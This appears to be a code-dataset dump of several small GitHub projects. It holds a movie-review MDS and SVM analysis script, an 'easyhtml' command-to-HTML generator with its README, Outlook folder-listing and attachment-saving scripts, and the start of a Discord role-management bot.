num):\n distancematrix[first,second] = distancematrix[second,first] = abs(np.linalg.norm(ppms[first]-ppms[second]))\n \n if first % 100 == 0:\n print(\"Iteration\",first,\"from\",num)\n \n with open(path+\"dataset_distancemat.pkl\", 'wb') as output:\n pickle.dump(distancematrix, output, pickle.HIGHEST_PROTOCOL)\n print('Saved the distancemat as Pickle-File')\n\n return distancematrix\n\n\n\ndef make_MDS(dataset, ppms, n_components):\n \n if Path(path+\"mds_\"+str(n_components)+\"D.pkl\").is_file():\n with open(path+\"mds_\"+str(n_components)+\"D.pkl\", 'rb') as input:\n mdstransform = pickle.load(input) \n print(\"MDS-Transform-stuff loaded!\")\n else:\n distancematrix = create_distancemat(dataset, ppms)\n \n # print(distancematrix)\n \n distancematrix = np.triu(distancematrix) + np.transpose(np.triu(distancematrix)) #sonst hat er rundungsfehler >.<\n \n mds = MDS(n_components=n_components)\n \n mdstransform = mds.fit_transform(distancematrix)\n \n with open(path+\"mds_\"+str(n_components)+\"D.pkl\", 'wb') as output:\n pickle.dump(mdstransform, output, pickle.HIGHEST_PROTOCOL)\n print('Saved the MDS-Transform as Pickle-File')\n \n return mdstransform\n \n\ndef return_elem(movietitle):\n with open(mstitlesfile, encoding=\"utf-8\", mode=\"r\") as file:\n counter = 0\n for line in file:\n if line.replace(\"\\n\",\"\") == movietitle:\n break\n counter += 1\n \n return counter\n\n\n\n\ndef print_distance(movie1, movie2, dimensionrepresentation):\n m1 = return_elem(movie1)\n m2 = return_elem(movie2)\n print(\"Distance between\",movie1,\"and\",movie2,\":\",abs(np.linalg.norm(dimensionrepresentation[m1]-dimensionrepresentation[m2])))\n\n\n\n\ndef find_termcandidates(dataset):\n prettyoften = dict((k, v) for k, v in dataset.numoccurences.items() if 100 <= v <= 10000)\n print([dataset.uplook[i] for i in list(prettyoften.keys())[:10]])\n candidates = dict(zip(list(prettyoften.keys()),np.zeros(len(list(prettyoften.keys()))))) \n for i in dataset.reviews:\n for j in candidates.keys():\n if j in i:\n candidates[j] += 1\n\n print(len(candidates))\n prettyoften = dict((k, v) for k, v in candidates.items() if 100 <= v <= 1500)\n print(len(prettyoften))\n print([dataset.uplook[i] for i in list(prettyoften.keys())[:10]]) \n #prints ['comedy', 'series', 'girl', 'american', 'beautiful', 'book', 'effects', 'family', 'black', 'dead'] \n \n dataset.termcandidates = prettyoften\n \n with open(path+\"dataset.pkl\", 'wb') as output:\n pickle.dump(dataset, output, pickle.HIGHEST_PROTOCOL)\n print('Saved the dataset as Pickle-File') \n\n\n\n\ndef show_some_stuff(dataset, ppms, mdstrans):\n print([dataset.uplook[i] for i in dataset.reviews[0][0:100]])\n print(ppms[3][:100])\n\n mdstrans = np.array(mdstrans)\n print(mdstrans.shape)\n print_distance(\"The Shining\", \"Saw\", mdstrans)\n print_distance(\"The Shining\", \"Herbie Fully Loaded\", mdstrans)\n print_distance(\"Herbie Fully Loaded\", \"Saw\", mdstrans)\n print_distance(\"Star Trek V: The Final Frontier\", \""Star Trek: Hidden Frontier"\", mdstrans)\n print_distance(\"Star Trek V: The Final Frontier\", \"The Shining\", mdstrans)\n print_distance(\"Star Trek V: The Final Frontier\", \"Saw\", mdstrans) \n\n\n\n\ndef run_svm(dataset, PREmdstrans, words, num_dims, shorten=0):\n if not type(words) is list: \n words = [words]\n \n if shorten == 0:\n shorten = len(dataset.reviews)\n \n if os.path.exists(path+\"supportvectormachine_\"+\"_\".join(words)+\"_\"+str(num_dims)+\"D.pkl\"):\n with open(path+\"supportvectormachine_\"+\"_\".join(words)+\"_\"+str(num_dims)+\"D.pkl\", 'rb') as input:\n clf = pickle.load(input) \n print(\"supportvectormachine loaded!\") \n \n else:\n for word in words:\n print(word,\"occurs in\",dataset.termcandidates[dataset.lookup[word]],\"different reviews\")\n \n reviews = dataset.reviews[:shorten]\n mdstrans = PREmdstrans[:shorten]\n \n kommtvor = [False]*len(reviews)\n for word in words:\n for i in range(len(reviews)):\n if dataset.lookup[word] in reviews[i]:\n kommtvor[i] = True\n \n tmp = [str(i[0])+\" \"+i[1] for i in list(zip(kommtvor, dataset.names))]\n with open(path+\"positives_\"+\"_\".join(words)+\".txt\", encoding=\"utf-8\", mode=\"w\") as outfile:\n outfile.write(\"\".join(tmp))\n \n \n clf = svm.SVC(kernel='linear', class_weight={1: (len(kommtvor)/np.sum(kommtvor)*0.5)})\n clf.fit(mdstrans, kommtvor)\n \n with open(path+\"supportvectormachine_\"+\"_\".join(words)+\"_\"+str(num_dims)+\"D.pkl\", 'wb') as output:\n pickle.dump(clf, output, pickle.HIGHEST_PROTOCOL)\n print('Saved the supportvectormachine as Pickle-File')\n\n\n kommtvor = [False]*len(dataset.reviews[:shorten])\n for word in words:\n for i in range(len(dataset.reviews[:shorten])):\n if dataset.lookup[word] in dataset.reviews[i]:\n kommtvor[i] = True\n \n return clf, kommtvor\n\n\n\n\n\ndef print_svm(supportvectormachine, kommtvor, mdstrans, num_dims):\n\n if num_dims == 3:\n from mpl_toolkits.mplot3d import Axes3D\n import pylab\n \n w = copy.deepcopy(supportvectormachine.coef_[0])\n plt.clf()\n fig = pylab.figure()\n ax = Axes3D(fig)\n ax.set_xlim3d(-500, 500)\n ax.set_ylim3d(-500, 500)\n ax.set_zlim3d(-500, 500)\n ax.scatter(xs = mdstrans[:, 0], ys= mdstrans[:, 1], zs= mdstrans[:, 2], c=kommtvor, cmap=plt.cm.Paired)\n \n \n# plt.plot([0, w[0]*1000000], [0, w[1]*1000000], [0, w[2]*1000000])\n \n \n plt.show() \n \n if num_dims == 2:\n #plot supportvectormachine\n w = copy.deepcopy(supportvectormachine.coef_[0]); w[0] = -w[0]\n a = w[0] / w[1]\n #xx = np.linspace(min([i[0] for i in mdstrans]), max([i[0] for i in mdstrans]))\n xx = np.linspace(-300,500)\n yy = a * xx - (supportvectormachine.intercept_[0]) / w[1]\n plt.plot(xx, yy, 'k-')\n \n b = -w[1] / w[0]\n yy2 = b * xx\n plt.plot(xx, yy2, c=\"Red\")\n \n# plt.plot([0, -w[0]*1000000], [0, w[1]*1000000])\n \n # plot the points, and the nearest vectors to the plane\n plt.scatter(mdstrans[:, 0], mdstrans[:, 1], c=kommtvor, cmap=plt.cm.Paired)\n \n plt.gca().set_aspect('equal', adjustable='box')\n #plt.axis([min(np.concatenate((xx, yy))),max(np.concatenate((xx, yy))),min(np.concatenate((xx, yy))),max(np.concatenate((xx, yy)))])\n plt.show() \n \n\n\n\ndef angle_between(v1, v2):\n \"\"\" Returns the angle in radians between vectors 'v1' and 'v2'::\n >>> angle_between((1, 0, 0), (0, 1, 0))\n 1.5707963267948966\"\"\"\n v1_u = v1 / np.linalg.norm(v1) #unit_vector\n v2_u = v2 / np.linalg.norm(v2) #unit_vector\n return np.arccos(np.clip(np.dot(v1_u, v2_u), -1.0, 1.0))\n\n\n\n\ndef prepare_some_svms():\n num_dims = 2 #50!\n shorten = 500\n \n dataset = load_dataset()\n ppms = None; ppms = np.array(get_ppmidata(dataset))\n mdstrans = make_MDS(dataset, ppms, num_dims) \n \n show_some_stuff(dataset, ppms, mdstrans)\n \n supportvectormachine, kommtvor = run_svm(dataset, mdstrans, [\"comedy\",\"hilarious\"], num_dims, shorten=shorten)\n print_svm(supportvectormachine, kommtvor, mdstrans[:shorten], num_dims)\n\n ###################################################\n\n num_dims = 2 #50!\n shorten = 500\n \n dataset = load_dataset()\n ppms = None; ppms = np.array(get_ppmidata(dataset))\n mdstrans = make_MDS(dataset, ppms, num_dims) \n \n supportvectormachine, kommtvor = run_svm(dataset, mdstrans, \"scary\", num_dims, shorten=shorten)\n print_svm(supportvectormachine, kommtvor, mdstrans[:shorten], num_dims)\n \n ###################################################\n\n num_dims = 50 #50!\n shorten = 500\n \n dataset = load_dataset()\n ppms = None; ppms = np.array(get_ppmidata(dataset))\n mdstrans = make_MDS(dataset, ppms, num_dims) \n \n supportvectormachine, kommtvor = run_svm(dataset, mdstrans, [\"comedy\",\"hilarious\"], num_dims, shorten=shorten)\n print_svm(supportvectormachine, kommtvor, mdstrans[:shorten], num_dims)\n \n ###################################################\n\n num_dims = 50 #50!\n shorten = 500\n \n dataset = load_dataset()\n ppms = None; ppms = np.array(get_ppmidata(dataset))\n mdstrans = make_MDS(dataset, ppms, num_dims) \n \n supportvectormachine, kommtvor = run_svm(dataset, mdstrans, \"scary\", num_dims, shorten=shorten)\n print_svm(supportvectormachine, kommtvor, mdstrans[:shorten], num_dims)\n \n ###################################################\n\n num_dims = 50 #50!\n shorten = 99999999999999\n \n dataset = load_dataset()\n ppms = None; ppms = np.array(get_ppmidata(dataset))\n mdstrans = make_MDS(dataset, ppms, num_dims) \n \n supportvectormachine, kommtvor = run_svm(dataset, mdstrans, [\"comedy\",\"hilarious\"], num_dims, shorten=shorten)\n print_svm(supportvectormachine, kommtvor, mdstrans[:shorten], num_dims)\n \n ###################################################\n\n\n num_dims = 50 #50!\n shorten = 99999999999999\n \n dataset = load_dataset()\n ppms = None; ppms = np.array(get_ppmidata(dataset))\n mdstrans = make_MDS(dataset, ppms, num_dims) \n \n supportvectormachine, kommtvor = run_svm(dataset, mdstrans, \"scary\", num_dims, shorten=shorten)\n print_svm(supportvectormachine, kommtvor, mdstrans[:shorten], num_dims) \n\n\n ###################################################\n\n num_dims = 3 #50!\n shorten = 500\n \n dataset = load_dataset()\n ppms = None; ppms = np.array(get_ppmidata(dataset))\n mdstrans = make_MDS(dataset, ppms, num_dims) \n \n supportvectormachine, kommtvor = run_svm(dataset, mdstrans, [\"comedy\",\"hilarious\"], num_dims, shorten=shorten)\n print_svm(supportvectormachine, kommtvor, mdstrans[:shorten], num_dims)\n \n ###################################################\n\n num_dims = 3 #50!\n shorten = 500\n \n dataset = load_dataset()\n ppms = None; ppms = np.array(get_ppmidata(dataset))\n mdstrans = make_MDS(dataset, ppms, num_dims) \n \n supportvectormachine, kommtvor = run_svm(dataset, mdstrans, \"scary\", num_dims, shorten=shorten)\n print_svm(supportvectormachine, kommtvor, mdstrans[:shorten], num_dims)\n \n\n\n\nif __name__ == '__main__':\n num_dims = 50\n shorten = False\n dataset = load_dataset()\n ppms = None; #ppms = np.array(get_ppmidata(dataset))\n mdstrans = make_MDS(dataset, ppms, num_dims) \n \n \n# supportvectormachine, kommtvor = run_svm(dataset, mdstrans, \"scary\", num_dims, shorten=shorten)\n#\n# difference = mdstrans[return_elem(\"The Shining\")]-mdstrans[return_elem(\"Saw\")]\n# print(angle_between(supportvectormachine.coef_[0],difference))\n# \n# difference = mdstrans[return_elem(\"Saw\")]-mdstrans[return_elem(\"Herbie Fully Loaded\")]\n# print(angle_between(supportvectormachine.coef_[0],difference))\n \n \n \n supportvectormachine, kommtvor = run_svm(dataset, mdstrans, [\"comedy\",\"hilarious\"], num_dims, shorten=shorten)\n\n# angle_matrix = np.ones([len(dataset.names),len(dataset.names)])*99\n# for i in range(len(dataset.names)):\n# for j in range(len(dataset.names)):\n# if i == j:\n# continue\n# difference = mdstrans[i]-mdstrans[j]\n# angle_matrix[i,j] = angle_between(supportvectormachine.coef_[0],difference)\n# \n# \n# with open(path+\"angles_\"+\"_\".join([\"comedy\",\"hilarious\"])+\"_\"+str(num_dims)+\"D.pkl\", 'wb') as output:\n# pickle.dump(angle_matrix, output, pickle.HIGHEST_PROTOCOL)\n# print('Saved the angle_matrix as Pickle-File')\n# \n# movie1, movie2 = np.unravel_index(angle_matrix.argmin(), angle_matrix.shape)\n# print(dataset.names[movie1])\n# print(dataset.names[movie2])\n \n difference = mdstrans[return_elem(\"The Fox & the Child\")]-mdstrans[return_elem(\"The Toxic Avenger Part II\")]\n print(angle_between(supportvectormachine.coef_[0],difference))\n \n################################################################################\n \n supportvectormachine, kommtvor = run_svm(dataset, mdstrans, \"scary\", num_dims, shorten=shorten)\n\n# angle_matrix = np.ones([len(dataset.names),len(dataset.names)])*99\n# for i in range(len(dataset.names)):\n# for j in range(len(dataset.names)):\n# if i == j:\n# continue\n# difference = mdstrans[i]-mdstrans[j]\n# angle_matrix[i,j] = angle_between(supportvectormachine.coef_[0],difference)\n# \n# \n# with open(path+\"angles_\"+\"_\".join([\"scary\"])+\"_\"+str(num_dims)+\"D.pkl\", 'wb') as output:\n# pickle.dump(angle_matrix, output, pickle.HIGHEST_PROTOCOL)\n# print('Saved the angle_matrix as Pickle-File')\n# \n# movie1, movie2 = np.unravel_index(angle_matrix.argmin(), angle_matrix.shape)\n# print(dataset.names[movie1])\n# print(dataset.names[movie2])\n \n \n \n difference = mdstrans[return_elem(\"Sleepy HollowHeadless Body in Topless Bar\")]-mdstrans[return_elem(\"Asterix and Obelix Meet Cleopatra\")]\n print(angle_between(supportvectormachine.coef_[0],difference))\n \n \n \n################################################################################ \n \n \n \n \n \n# supportvectormachine, kommtvor = run_svm(dataset, mdstrans, [\"scary\"], num_dims, shorten=shorten)\n# with open(path+\"angles_\"+\"_\".join([\"scary\"])+\"_\"+str(num_dims)+\"D.pkl\", 'rb') as infile:\n# angle_matrix = pickle.load(infile)\n# print('Saved the angle_matrix as Pickle-File')\n#\n#\n# angle_matrix[angle_matrix==99] = 0\n# angle_matrix = np.tril(angle_matrix)\n# movie1, movie2 = np.unravel_index(angle_matrix.argmax(), angle_matrix.shape)\n# print(dataset.names[movie1])\n# print(dataset.names[movie2])\n# \n# difference = mdstrans[return_elem(\"8MM 2\")]-mdstrans[return_elem(\"Dracula 2000\")]\n# print(angle_between(supportvectormachine.coef_[0],difference))\n \n \n \n#\n# difference = mdstrans[return_elem(\"The Sunshine Boys\")]-mdstrans[return_elem(\"Crush\")]\n# print(angle_between(supportvectormachine.coef_[0],difference))\n# \n# \n# difference = mdstrans[return_elem(\"The Sunshine Boys\")]-mdstrans[return_elem(\"Saw\")]\n# print(angle_between(supportvectormachine.coef_[0],difference))\n# \n# \n# \n# print_distance(\"The Shining\", \"Saw\", mdstrans)\n# print_distance(\"The Shining\", \"Herbie Fully Loaded\", mdstrans)\n# print_distance(\"Herbie Fully Loaded\", \"Saw\", mdstrans)\n# print_distance(\"Star Trek V: The Final Frontier\", \""Star Trek: Hidden Frontier"\", mdstrans)\n# print_distance(\"Star Trek V: The Final Frontier\", \"The Shining\", mdstrans)\n# print_distance(\"Star Trek V: The Final Frontier\", \"Saw\", mdstrans) \n# \n# m1 = return_elem(movie1)\n# m2 = return_elem(movie2)\n# print(\"Distance between\",movie1,\"and\",movie2,\":\",abs(np.linalg.norm(dimensionrepresentation[m1]-dimensionrepresentation[m2])))\n"
}
] | 4 |
sanyog-chavhan/easyhtml | https://github.com/sanyog-chavhan/easyhtml | 67c47e254b8a30cbca49c7bb4a5767648267672f | c7ec54e61bba814979292e2d66856e3f5c2420b9 | bb5b4cd4b97f54b8def20167107b7ca36a4e8851 | refs/heads/master | 2022-12-21T20:09:50.591096 | 2020-09-13T11:11:27 | 2020-09-13T11:11:27 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5874947309494019,
"alphanum_fraction": 0.6076374053955078,
"avg_line_length": 26.70930290222168,
"blob_id": "bdff31f37fb5677c9b3dc8c4849772b8d295ec99",
"content_id": "d28b920c77b5eb44453dc0849465259d5bf81271",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2383,
"license_type": "no_license",
"max_line_length": 319,
"num_lines": 86,
"path": "/easyhtml.py",
"repo_name": "sanyog-chavhan/easyhtml",
"src_encoding": "UTF-8",
"text": "from html5print import HTMLBeautifier\nflag=0\nidcnt=0\ncsscode=\"\"\ncode=\"<html>\\n<head>\\n<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/> \\n<meta name='viewport' content='width=device-width, initial-scale=1.0'>\\n<link rel='stylesheet' src='index.css'>\\n<title>\\napoorv\\n</title>\\n</head>\\n<body style='text-align:center;margin:0'>\\n<div style='overflow-x:hidden'>\\n\"\n\nendcode=\"</div></body></html>\"\n\ncomm={\"add\",\"end\"}\n\nhref={\"a\",\"link\"}\n\ntypes={\"input\"}\n\nsrc={\"img\",\"video\",\"audio\",\"script\",\"style\"}\n\nwrappers={\"div\",\"span\",\"form\",\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\n\"h6\",\"p\",\"strong\",\"code\",\"marquee\",\"i\",\"b\",\"small\",\"s\",\"sub\",\"sup\",\"kbd\"}\ndef addHref(a):\n\tglobal code,idcnt,csscode\n\tcode=code+\"<\"+a[1]+\" href='\"+a[2]+\"' id='\"+a[1]+str(idcnt)+\"'>\"\n\tcsscode=csscode+\"#\"+a[1]+str(idcnt)+\"{}\\n\"\n\tidcnt=idcnt+1\ndef endHref(a):\n\tglobal code\n\tcode=code+\"</\"+a[1]+\">\"\t\n\t\ndef addSrc(srctype,srcContent):\n\tglobal code,idcnt,csscode\n\tcode=code+\"<\"+srctype+\" src='\"+srcContent+\"' height='200px' controls id='\"+srctype+str(idcnt)+\"'><br>\\n</\"+srctype+\" >\\n<br>\\n\"\n\tcsscode=csscode+\"#\"+srctype+str(idcnt)+\"{}\\n\"\n\tidcnt=idcnt+1\ndef addWrappers(wraptype):\n\tglobal code,idcnt,csscode\n\tcode=code+\"<\"+wraptype+\" id='\"+wraptype+str(idcnt)+\"'>\\n\"\n\tcsscode=csscode+\"#\"+wraptype+str(idcnt)+\"{}\\n\"\n\tidcnt=idcnt+1\ndef endWrappers(wraptype):\n\tglobal code\n\tcode=code+\"</\"+wraptype+\">\\n\"\t\t\ndef addComponent(comp,comptype,compvalue):\n\tglobal code,idcnt,csscode\n\ts=\"<\"+comp+\" type='\"+comptype+\"' value='\"+compvalue+\"' id='\"+comptype+str(idcnt)+\"'/><br>\"\n\tcode=code+s\n\tcsscode=csscode+\"#\"+comptype+str(idcnt)+\"{}\\n\"\n\tidcnt=idcnt+1\nwhile(flag==0):\n\ta=input()\n\tif(a==\"###\"):\n\t\tflag==1\n\t\tbreak\n\telse:\n\t\ta=a.split(\" \");\n\t\tif(a[0].lower() in comm):\n\t\t\tif(a[1].lower() in types):\n\t\t\t\tgg=\"\"\n\t\t\t\tfor i in range(3,len(a)):\n\t\t\t\t\tgg=gg+\" \"+a[i]\n\t\t\t\tgg=gg.strip()\n\t\t\t\teval(a[0]+\"Component\")(a[1],a[2],gg)\n\t\t\telif(a[1] in wrappers):\n\t\t\t\teval(a[0]+\"Wrappers\")(a[1])\n\t\t\telif(a[1] in src):\n\t\t\t\teval(a[0]+\"Src\")(a[1],a[2])\n\t\t\telif(a[1] in href):\n\t\t\t\tprint(a[0]+\"Href\"+a[1])\n\t\t\t\teval(a[0]+\"Href\")(a)\n\t\t\t\n\t\t\t\t\n\t\telif(a[0].lower() in wrappers):\n\t\t\teval(\"addWrappers\")(a[0])\n\t\telse:\n\t\t\tgg=\"\"\n\t\t\tfor i in range(0,len(a)):\n\t\t\t\tgg=gg+\" \"+a[i]\n\t\t\tgg=gg.strip()\n\t\t\tcode=code+gg+\"<br>\\n\"\n\t\t\t\n\t\ncode=code+endcode\n\ncode=HTMLBeautifier.beautify(code, 4)\nf=open(\"index.html\",\"w\")\nf.write(code)\ng=open(\"index.css\",\"w\")\ng.write(csscode)\n"
},
{
"alpha_fraction": 0.7781186103820801,
"alphanum_fraction": 0.7855316996574402,
"avg_line_length": 29.092308044433594,
"blob_id": "bd917cb3f3ed0b35c88d870179eb360d5204a0d2",
"content_id": "ff83fe4f4d818b71a621c2fe79bc73ab9fa5c129",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 3912,
"license_type": "no_license",
"max_line_length": 166,
"num_lines": 130,
"path": "/README.md",
"repo_name": "sanyog-chavhan/easyhtml",
"src_encoding": "UTF-8",
"text": "# Name of Project: easyhtml\nHTML is easy but is filled with too much unnecessary syntax.So here's an alternative.\n\n#Pre-requisites:Python3 and pip3\n\n#note:It is suggested to use a linux enviornment but it may pose no problem on an other operating system as well.\n\n#Project By: Apoorv Bedmutha\ninitial commit on:13 sept 2020\nContact:[email protected]\n\nWhat is the use of easyhtml?\n\nhtml is a fairly easy language but the fact that it has too much of un necessary syntax load on developer makesd it really annoying and time consuming.\nI mean who doesn't hate tags.\nSo what easy html does is it takes simpler commands and converts them into an HTML file and CSS File with autogenerated code,So that you as a developer does not \nhave to waste time on the syntax and rather just edit the code as per your requirements.\neasyhtml saves time amd effort which you you can rather invest in more crucial stuff rather than HTML.\n\nHow to setup easyhtml?\n\nstep 1:\nopen https://github.com/apoorvbedmuthaprojects/easyhtml in your browser\n\nstep 2:\nclick the green \"Code\" icon\n\nstep 3:\nclick download ZIP\n\nstep 4:\nnow you may find the easyhtml-master.zip file in your downloads folder.Extract the zip file\n\nstep 5:\nnow you will find a easyhtml-master folder.\n\nstep 6:\nnow move over to the terminal and type \npip3 install html5print\n\nstep 7:\nSetup complete.\n\nHow to use easyhtml?\n\nlet's start with basic stuff,that will give you an idea about how the tool works.\nwe will create a simple hello world HTML file.\n\nso open your terminal\nand move into your easyhtml-master using cd\nnow type \n\npython3 easyhtml.py\n\nthis will start the program,you may see a blinking cursor on your terminal.\nnow type \n\nHello World\n\npress enter\n\nand then type\n\n###\nand press enter\nThat's it,it's that simple.You may have noticed that the program has exited,that means we should have our HTML file ready.\n\nopen your easyhtml-master file\nopen the index.html file in a text editor like notepad or gedit.\nyou must see the html code now.\nthat's how you use this tool.\nYou may also have noticed as soon as we typed \n\n###\n\nthe program exited.So whenever you are done with your commands just type ### and the program will convert your commands to html and css.\n\nokay, moving forward I want you to open the Commands List file.\nYou may see several words on each line\neach line shows different commands that can be used in the program.\nNow basically there are 3 types of commands that the program supports\n1. commands starting with add\n2. commands starting with end\n3. commands that start directly\nNow to simplify stuff,\ncommands starting with add are equivalent to adding new component in the code\n\nexample:\nadd img image_name.png\n\nthis command will add an image named image_name.png into the html code\n\nsimilarly commands starting with end are equivalent to closing tags in html\n\nexample:\nend div\n\nthis line is equivalent to </div>\n\nthird are the commands that start directly these commands are equivalent to the openung tags of wrappers in html5\n\nexample:\ndiv\n\nthis command is equivalent to <div> in html\nIt should be noted that each line must have only 1 command\n\nnesting of commands in easyhtml is also similar to nesting of tags in html5\nexample:\ndiv\nthis is Outer division\ndiv\nthis is Inner division\nend div\nend div\n\nthe above set of commands are equivalent to the below code in html5:\n<div>\nthis is Outer division\n<div>\nthis is Inner division\n</div>\n</div>\n\nso check aroud all the commands in Command List,play around with them.I'll be adding more core commands to make your easier with time.\nbelow are some points that you may or may not have observed:\n\n1.the program automatically gives an id to every component you create in order to simplify your job\n2.whenever an html file is updated so is the css file.\n3.It is advised to different copies of easyhtml-master folder while working with multiple projects as you may end up over-writing on an index.html of another project.\n"
}
] | 2 |
AStuffle/py_email_extract | https://github.com/AStuffle/py_email_extract | cedd0cb15dbadc850cfd89be763a9cab3741aeda | 83717c53f1c19e725e345167ea10c480a0dbea72 | fdd0a4733bbf841970559a29cc3d513cffc65312 | refs/heads/main | 2023-08-14T20:48:26.125409 | 2021-09-30T20:54:25 | 2021-09-30T20:54:25 | 357,641,388 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.593047022819519,
"alphanum_fraction": 0.6053169965744019,
"avg_line_length": 23.076923370361328,
"blob_id": "1406bca6f2365c28dfc355bad35ec1c910c55be5",
"content_id": "8f5be7376b80465b0597fa0aeecc41186b8b739b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 978,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 39,
"path": "/get_outlook_folders.py",
"repo_name": "AStuffle/py_email_extract",
"src_encoding": "UTF-8",
"text": "# This script can be used to get folder object references from outlook.\r\n# Run it from cmd or shell.\r\n# install pywin32\r\n\r\nimport win32com.client\r\nimport os\r\noutlook = win32com.client.Dispatch(\"Outlook.Application\").GetNamespace(\"MAPI\")\r\n\r\ndef getfolders():\r\n for i in range(100):\r\n try:\r\n box = outlook.GetDefaultFolder(i)\r\n name = box.Name\r\n print(i, name)\r\n except:\r\n pass\r\ndef getsubfolders(parentfolder):\r\n for i in range(100):\r\n try:\r\n box = outlook.GetDefaultFolder(parentfolder).Folders[i]\r\n name = box.Name\r\n print(i, name)\r\n except:\r\n pass\r\n\r\nprint('\\n\\n')\r\ninput('Press enter to list Outlook folders and their indexes...')\r\nprint('\\n\\n')\r\n\r\ngetfolders()\r\nprint('\\n\\n')\r\n\r\nparentfolder = input('Select a folder number from above to see subfolders: ')\r\nprint('\\n\\n')\r\n\r\ngetsubfolders(parentfolder)\r\nprint('\\n\\n')\r\n\r\ninput('Press enter to exit.')\r\n"
},
{
"alpha_fraction": 0.7139639854431152,
"alphanum_fraction": 0.7240990996360779,
"avg_line_length": 32.153846740722656,
"blob_id": "83d50f12204b35597afcacd70b5c0d83c3ff346e",
"content_id": "52bb7e2230aa3abcd8c08cef5615e2b3e18ddbb8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 888,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 26,
"path": "/email_extract.py",
"repo_name": "AStuffle/py_email_extract",
"src_encoding": "UTF-8",
"text": "# pip install pywin32\r\n\r\nimport win32com.client\r\nimport os\r\n\r\noutlook = win32com.client.Dispatch(\"Outlook.Application\").GetNamespace(\"MAPI\")\r\n\r\n# Target the folder you want to pull from. Use the get_outlook_folders script to get a complete list and re-target as needed.\r\ninbox = outlook.GetDefaultFolder(6).Folders[8]\r\nmessages = inbox.Items\r\nmessage = messages.GetFirst()\r\n\r\n# Attachment save location. Needs to exist already.\r\nfilepath = r\"[FILEPATH]\"\r\n\r\nfor m in messages:\r\n print (message)\r\n attachments = message.Attachments\r\n attachment = attachments.Item(1)\r\n print (attachment)\r\n \r\n # Comment this out until you're sure you know what is going to get pulled!\r\n # This will currently pull the first attachment from every email in the target folder!\r\n attachment.SaveASFile(os.path.join(filepath,attachment.FileName))\r\n \r\n message = messages.GetNext()\r\n"
}
] | 2 |
Krankdud/cantdrown | https://github.com/Krankdud/cantdrown | 3bb0e74f601c87ac5525da27eb3ad143b064c463 | e59d89565387d603ccf1315d1728ddc5e233937f | ff87e73e0e31425bfa938e1385ea88ae9aeb051a | refs/heads/master | 2021-06-16T08:30:10.179836 | 2020-05-02T02:52:08 | 2020-05-02T02:52:08 | 167,873,718 | 0 | 0 | MIT | 2019-01-28T00:10:42 | 2020-05-02T02:59:44 | 2021-06-11T17:48:35 | Python | [
{
"alpha_fraction": 0.687697172164917,
"alphanum_fraction": 0.687697172164917,
"avg_line_length": 22.518518447875977,
"blob_id": "7e03017df103b3cc1659bbb5aedd218f254f3e7d",
"content_id": "3a71d7ba8489ad80eacd6f9b7ab5b0bd542596f2",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 634,
"license_type": "permissive",
"max_line_length": 58,
"num_lines": 27,
"path": "/bot.py",
"repo_name": "Krankdud/cantdrown",
"src_encoding": "UTF-8",
"text": "import argparse\nimport asyncio\nimport discord\nfrom discord.ext import commands\nimport logging\nimport logging.config\n\n# Logging setup\nlogging.config.fileConfig('config/logging.conf')\nlog = logging.getLogger('dev')\n\nbot = commands.Bot(command_prefix='!')\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('token', help='discord API token')\n args = parser.parse_args()\n\n log.info('Loading cogs...')\n bot.load_extension('cogs.doom')\n bot.load_extension('cogs.misc')\n bot.load_extension('cogs.roles')\n log.info('Running the bot...')\n bot.run(args.token)\n\nif __name__ == '__main__':\n main()"
},
{
"alpha_fraction": 0.5853527188301086,
"alphanum_fraction": 0.5875067114830017,
"avg_line_length": 32.16071319580078,
"blob_id": "407b6f3a89c8f836c4f593eec61f85b4fd9a1201",
"content_id": "324d81421f202d09718417da0f3c5955dda8f627",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1857,
"license_type": "permissive",
"max_line_length": 105,
"num_lines": 56,
"path": "/cogs/roles.py",
"repo_name": "Krankdud/cantdrown",
"src_encoding": "UTF-8",
"text": "from discord.ext import commands\nimport json\nimport logging\n\nlog = logging.getLogger('dev')\n\nclass RolesCog(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n with open('config/roles.json', 'r') as f:\n self.config = json.load(f)\n log.info('Roles configuration loaded')\n\n @commands.command()\n async def role(self, ctx, desiredRoleId):\n desiredRoleId = desiredRoleId.lower()\n if desiredRoleId not in self.config['roles']:\n await ctx.send('Invalid role')\n await self.role_help(ctx)\n return\n\n user = ctx.message.author\n guild = ctx.message.guild\n desiredRole = guild.get_role(int(self.config['roles'][desiredRoleId]))\n\n for role in user.roles:\n if role == desiredRole:\n await user.remove_roles(role)\n await ctx.send('<@{0}>: Removed from {1} role'.format(user.id, role.name))\n return\n\n await user.add_roles(desiredRole)\n await ctx.send('<@{0}>: Added to {1} role'.format(user.id, desiredRole.name))\n\n @role.error\n async def role_error(self, ctx, error):\n if isinstance(error, commands.MissingRequiredArgument):\n await ctx.send('Need to include a valid role')\n else:\n log.error(error)\n await ctx.send('An error occured when managing roles')\n await self.role_help(ctx)\n \n async def role_help(self, ctx):\n helpMsg = '```Usage\\n'\n helpMsg += '!role <role> - Add yourself to a role, or remove yourself if you are already in it\\n'\n helpMsg += '\\nValid roles:'\n for role in self.config['roles']:\n helpMsg += '\\n{}'.format(role)\n helpMsg += '```'\n await ctx.send(helpMsg)\n\ndef setup(bot):\n bot.add_cog(RolesCog(bot))\n log.info('Added roles cog')\n"
},
{
"alpha_fraction": 0.7195523381233215,
"alphanum_fraction": 0.7195523381233215,
"avg_line_length": 28.230770111083984,
"blob_id": "8b53e1974e8fd989d5bd1dbf1edacf6df46b0f91",
"content_id": "eefd75802f5892d547da51db56c83387f754abcf",
"detected_licenses": [
